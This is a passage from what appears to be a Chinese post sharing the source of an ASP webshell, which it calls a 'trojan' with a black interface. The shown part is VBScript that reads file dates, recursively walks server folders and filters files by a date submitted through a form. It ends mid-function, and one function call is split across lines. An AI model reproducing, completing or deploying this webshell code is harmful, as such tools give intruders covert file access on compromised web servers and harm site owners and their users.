一款不错的asp木马 黑色界面(34)

Function GetDateModify(filepath)
    Set F2SO = CreateObject("Scripting.FileSystemObject")
    Set f = F2SO.GetFile(filepath) 
    s = f.DateLastModified 
    set f = nothing
    set F2SO = nothing
    GetDateModify = s
End Function
Function GetDateCreate(filepath)
    Set F3SO = CreateObject("Scripting.FileSystemObject")
    Set f = F3SO.GetFile(filepath) 
    s = f.DateCreated 
    set f = nothing
    set F3SO = nothing
    GetDateCreate = s
End Function
Function tURLEncode(Str)
    temp = Replace(Str, "%", "%25")
    temp = Replace(temp, "#", "%23")
    temp = Replace(temp, "&", "%26")
    tURLEncode = temp
End Function
Sub ShowAllFile2(Path)
    Set F4SO = CreateObject("Scripting.FileSystemObject")
    if not F4SO.FolderExists(path) then exit sub
    Set f = F4SO.GetFolder(Path)
    Set fc2 = f.files
    For Each myfile in fc2
        If CheckExt(F4SO.GetExtensionName
(path&"\"&myfile.name)) Then
            Call IsFind(Path&"\"&myfile.name)
            SumFiles = SumFiles + 1
        End If
    Next
    Set fc = f.SubFolders
    For Each f1 in fc
        ShowAllFile2 path&"\"&f1.name
        SumFolders = SumFolders + 1
    Next
    Set F4SO = Nothing
End Sub
Sub IsFind(thePath)
    theDate = GetDateModify(thePath)
    on error resume next
    theTmp = Mid(theDate, 1, Instr(theDate, " ") - 1)
    if err then exit Sub
    xDate = Split(request.Form("Search_Date"),";")